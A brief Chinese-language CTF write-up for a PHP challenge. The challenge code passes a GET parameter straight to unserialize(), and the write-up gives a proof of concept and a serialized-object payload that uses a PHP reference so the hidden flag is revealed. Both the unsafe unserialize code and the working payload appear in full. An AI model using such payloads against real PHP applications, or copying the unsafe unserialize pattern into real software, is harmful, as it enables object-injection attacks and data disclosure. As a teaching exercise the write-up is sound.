CTF-5解题思路

源码

<?php
#GOAL: get the secret;
class just4fun {
    var $enter;
    var $secret;
}
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
    $o = unserialize($pass);
    if ($o) {
        $o->secret = "flag{I'm xxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
        if ($o->secret === $o->enter)
         echo "Congratulation! Here is my secret: ".$o->secret;
        else
         echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

可以看到存在反序列化$o = unserialize($pass);
需要对pass传参，一个序列化的对象，使其能够满足
$o->secret === $o->enter

POC:

<?php
class just4fun {
    var $enter;
    var $secret;
}
$pass = new just4fun();
$pass->enter = &$pass->secret;
?>

payload:

?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}